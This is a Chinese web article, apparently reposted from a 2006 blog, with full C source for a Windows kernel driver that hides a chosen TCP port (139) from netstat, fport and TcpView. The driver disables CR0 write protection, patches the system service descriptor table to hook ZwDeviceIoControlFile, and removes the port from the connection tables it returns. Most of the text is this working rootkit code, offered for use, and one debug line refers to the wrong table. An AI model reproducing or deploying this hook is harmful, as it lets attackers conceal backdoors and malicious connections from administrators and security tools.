分享
 
 
 

Hook 系统服务隐藏端口

王朝other·作者佚名  2006-01-10
窄屏简体版  字體: |||超大  

有时候写程序,调试程序真是一件非常有趣的事,就比如这次,蹦蹦跳跳,笑嘻嘻,意犹未尽的就把这个程序搞好了。 netstat 或者其他各种列举端口的工具,比如fport,或者 sysinternals 的 Tcpview,都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终是使用 ZwDeviceIoControlFile ,向设备对象 Device\Tcp 发 IOCTL_TCP_QUERY_INFORMATION_EX 来得到各种信息的。于是我们只要Hook相应的System Service ,然后对得到的结果做一些处理,弄掉不希望出现的端口信息就可以了。不过真正的问题在于,IOCTL_TCP_QUERY_INFORMATION_EX 和端口相关的各种结构定义,参数含义目前都(大部分)是未公开,没人知道的,也就是Undocumented的。Undocumented?? ring3调试,我熟啊。ring0调试,我熟啊。Windows驱动,我熟啊。Windows系统,我熟啊。我怕谁啊我。Undocumented??爽,要的就是Undocumented。

通过ring3调试,分析Iphlpapi.dll是如何使用 IOCTL_TCP_QUERY_INFORMATION_EX 相关的各种参数,结合msdn中的一些信息,于是很轻松的搞清了需要了解的结构。用我自己写的awx建一个VC的驱动项目,写好了Hook部分。

关于本例中使用的解决Hook在各种Windows版本下运行的方法,在很多地方很多地方都出现了,我不清楚最早是谁想出来的,我是在《Undocumented Windows NT》一书的源码中第一次看到这种方法的。

下面是实现源码,很简单,我就不多说什么了。

#if 0 //================================================================

Copyright (c) JIURL, All Rights Reserved

========================================================================

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

Module Name:

Jiurl_tcpioctl.h

About:

- 这个驱动项目由一个我写的 AppWizard 创建。

[ HomePage ] http://jiurl.yeah.net

~~~~~~~~~~~~~~~~~~~~~

[ Email ] jiurl@mail.china.com

~~~~~~~~~~~~~~~~~~~~

[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- 有偿定制 AppWizard ,请发邮件联系 。

Comments:

本文件中的所有内容目前都是未公开的,由我分析得出,是隐藏端口的关键内容。

Undocumented?? 爽!要的就是 Undocumented 。

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

#endif

// jiurl // IPSNMPInfo 结构的定义是根据 RFC 2011

// jiurl // 所以我根据 RFC 2022 ,仿 IPSNMPInfo, 定义结构 TCPSNMPInfo

// jiurl // 再通过一些分析得到一些扩展部分的定义

typedef struct TCPSNMPInfo {

ULONG tcpsi_RtoAlgorithm;

ULONG tcpsi_RtoMin;

ULONG tcpsi_RtoMax;

ULONG tcpsi_MaxConn;

ULONG tcpsi_ActiveOpens;

ULONG tcpsi_PassiveOpens;

ULONG tcpsi_AttemptFails;

ULONG tcpsi_EstabResets;

ULONG tcpsi_CurrEstab;

ULONG tcpsi_InSegs;

ULONG tcpsi_OutSegs;

ULONG tcpsi_RetransSegs;

ULONG tcpsi_unknown1;

ULONG tcpsi_unknown2;

ULONG tcpsi_numconn;

} TCPSNMPInfo;

#define tcpRtoAlgorithm_other 1 // none of the following

#define tcpRtoAlgorithm_constant 2 // a constant rto

#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B

#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm

#define TCP_MIB_STATS_ID 1

#define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101

#define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102

typedef struct TCPAddrEntry {

ULONG tae_ConnState;

ULONG tae_ConnLocalAddress;

ULONG tae_ConnLocalPort;

ULONG tae_ConnRemAddress;

ULONG tae_ConnRemPort;

} TCPAddrEntry;

#define tcpConnState_closed 1

#define tcpConnState_listen 2

#define tcpConnState_synSent 3

#define tcpConnState_synReceived 4

#define tcpConnState_established 5

#define tcpConnState_finWait1 6

#define tcpConnState_finWait2 7

#define tcpConnState_closeWait 8

#define tcpConnState_lastAck 9

#define tcpConnState_closing 10

#define tcpConnState_timeWait 11

#define tcpConnState_deleteTCB 12

typedef struct TCPAddrExEntry {

ULONG tae_ConnState;

ULONG tae_ConnLocalAddress;

ULONG tae_ConnLocalPort;

ULONG tae_ConnRemAddress;

ULONG tae_ConnRemPort;

ULONG pid;

} TCPAddrExEntry;

#if 0 //================================================================

Copyright (c) JIURL, All Rights Reserved

========================================================================

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

Module Name:

JiurlPortHide.h

About:

- 这个驱动项目由一个我写的 AppWizard 创建。

[ HomePage ] http://jiurl.yeah.net

~~~~~~~~~~~~~~~~~~~~~

[ Email ] jiurl@mail.china.com

~~~~~~~~~~~~~~~~~~~~

[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- 有偿定制 AppWizard ,请发邮件联系 。

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

#endif

#define PORTHIDE 139

#pragma pack(1)

typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase; //Used only in checked build

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

NTSYSAPI

NTSTATUS

NTAPI

ZwDeviceIoControlFile(

IN HANDLE FileHandle,

IN HANDLE Event OPTIONAL,

IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,

IN PVOID ApcContext OPTIONAL,

OUT PIO_STATUS_BLOCK IoStatusBlock,

IN ULONG IoControlCode,

IN PVOID InputBuffer OPTIONAL,

IN ULONG InputBufferLength,

OUT PVOID OutputBuffer OPTIONAL,

IN ULONG OutputBufferLength

);

typedef NTSTATUS (*ZWDEVICEIOCONTROLFILE)(

IN HANDLE FileHandle,

IN HANDLE Event OPTIONAL,

IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,

IN PVOID ApcContext OPTIONAL,

OUT PIO_STATUS_BLOCK IoStatusBlock,

IN ULONG IoControlCode,

IN PVOID InputBuffer OPTIONAL,

IN ULONG InputBufferLength,

OUT PVOID OutputBuffer OPTIONAL,

IN ULONG OutputBufferLength

);

ZWDEVICEIOCONTROLFILE OldZwDeviceIoControlFile;

void DriverUnload(IN PDRIVER_OBJECT DriverObject);

NTSTATUS

DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

NTSTATUS NewZwDeviceIoControlFile(

IN HANDLE FileHandle,

IN HANDLE Event OPTIONAL,

IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,

IN PVOID ApcContext OPTIONAL,

OUT PIO_STATUS_BLOCK IoStatusBlock,

IN ULONG IoControlCode,

IN PVOID InputBuffer OPTIONAL,

IN ULONG InputBufferLength,

OUT PVOID OutputBuffer OPTIONAL,

IN ULONG OutputBufferLength

);

// jiurl // from addrconv.cpp

#define ntohs(s) \

( ( ((s) >> 8) & 0x00FF ) | \

( ((s) << 8) & 0xFF00 ) )

// jiurl // from tcpioctl.h tdiinfo.h tdistat.h

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003

//* Structure of an entity ID.

typedef struct TDIEntityID {

ULONG tei_entity;

ULONG tei_instance;

} TDIEntityID;

//* Structure of an object ID.

typedef struct TDIObjectID {

TDIEntityID toi_entity;

ULONG toi_class;

ULONG toi_type;

ULONG toi_id;

} TDIObjectID;

#define CONTEXT_SIZE 16

//

// QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer

// in the DeviceIoControl request. This structure is passed as the

// InputBuffer.

//

struct tcp_request_query_information_ex {

TDIObjectID ID; // object ID to query.

ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed

// for the first request.

};

typedef struct tcp_request_query_information_ex

TCP_REQUEST_QUERY_INFORMATION_EX,

*PTCP_REQUEST_QUERY_INFORMATION_EX;

#define CO_TL_ENTITY 0x400

#define INFO_CLASS_PROTOCOL 0x200

#define INFO_TYPE_PROVIDER 0x100

#if 0 //================================================================

Copyright (c) JIURL, All Rights Reserved

========================================================================

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

Module Name:

JiurlPortHide.cpp

About:

- 这个驱动项目由一个我写的 AppWizard 创建。

[ HomePage ] http://jiurl.yeah.net

~~~~~~~~~~~~~~~~~~~~~

[ Email ] jiurl@mail.china.com

~~~~~~~~~~~~~~~~~~~~

[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- 有偿定制 AppWizard ,请发邮件联系 。

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

#endif

#ifdef __cplusplus

extern "C"

{

#endif

#include <ntddk.h>

#include "JiurlPortHide.h"

#include "Jiurl_tcpioctl.h"

#ifdef __cplusplus

}

#endif

NTSTATUS

DriverEntry(IN PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING RegistryPath)

{

DbgPrint("JiurlPortHide: Hello,This is DriverEntry!\n");

DriverObject->MajorFunction[IRP_MJ_CREATE] =

DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch;

DriverObject->DriverUnload = DriverUnload;

// save old system call locations

OldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]);

_asm

{

CLI //dissable interrupt

MOV EAX, CR0 //move CR0 register into EAX

AND EAX, NOT 10000H //disable WP bit

MOV CR0, EAX //write register back

}

(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)NewZwDeviceIoControlFile;

_asm

{

MOV EAX, CR0 //move CR0 register into EAX

OR EAX, 10000H //enable WP bit

MOV CR0, EAX //write register back

STI //enable interrupt

}

return STATUS_SUCCESS;

}

NTSTATUS

DriverDispatch(

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp

)

{

Irp->IoStatus.Status = STATUS_SUCCESS;

IoCompleteRequest (Irp,IO_NO_INCREMENT);

return Irp->IoStatus.Status;

}

void DriverUnload(IN PDRIVER_OBJECT DriverObject)

{

DbgPrint("JiurlPortHide: Bye,This is DriverUnload!\n");

_asm

{

CLI //dissable interrupt

MOV EAX, CR0 //move CR0 register into EAX

AND EAX, NOT 10000H //disable WP bit

MOV CR0, EAX //write register back

}

(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)OldZwDeviceIoControlFile;

_asm

{

MOV EAX, CR0 //move CR0 register into EAX

OR EAX, 10000H //enable WP bit

MOV CR0, EAX //write register back

STI //enable interrupt

}

}

NTSTATUS NewZwDeviceIoControlFile(

IN HANDLE FileHandle,

IN HANDLE Event OPTIONAL,

IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,

IN PVOID ApcContext OPTIONAL,

OUT PIO_STATUS_BLOCK IoStatusBlock,

IN ULONG IoControlCode,

IN PVOID InputBuffer OPTIONAL,

IN ULONG InputBufferLength,

OUT PVOID OutputBuffer OPTIONAL,

IN ULONG OutputBufferLength

)

{

NTSTATUS rc;

rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) (

FileHandle,

Event,

ApcRoutine,

ApcContext,

IoStatusBlock,

IoControlCode,

InputBuffer,

InputBufferLength,

OutputBuffer,

OutputBufferLength

);

if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)

{

return(rc);

}

TCP_REQUEST_QUERY_INFORMATION_EX req;

TCPAddrEntry* TcpTable;

TCPAddrExEntry* TcpExTable;

ULONG numconn;

LONG i;

DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX\n");

if( NT_SUCCESS( rc ) )

{

req.ID.toi_entity.tei_entity = CO_TL_ENTITY;

req.ID.toi_entity.tei_instance = 0;

req.ID.toi_class = INFO_CLASS_PROTOCOL;

req.ID.toi_type = INFO_TYPE_PROVIDER;

req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;

if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )

{

numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);

TcpTable = (TCPAddrEntry*)OutputBuffer;

for( i=0; i<numconn; i++ )

{

if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE )

{

DbgPrint("JiurlPortHide: HidePort %d\n", ntohs(TcpTable[i].tae_ConnLocalPort));

memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );

numconn--;

i--;

}

}

IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);

return(rc);

}

req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;

if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )

{

numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);

TcpExTable = (TCPAddrExEntry*)OutputBuffer;

for( i=0; i<numconn; i++ )

{

if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE )

{

DbgPrint("JiurlPortHide: HidePort %d\n",ntohs(TcpTable[i].tae_ConnLocalPort));

memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );

numconn--;

i--;

}

}

IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);

return(rc);

}

}

return(rc);

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有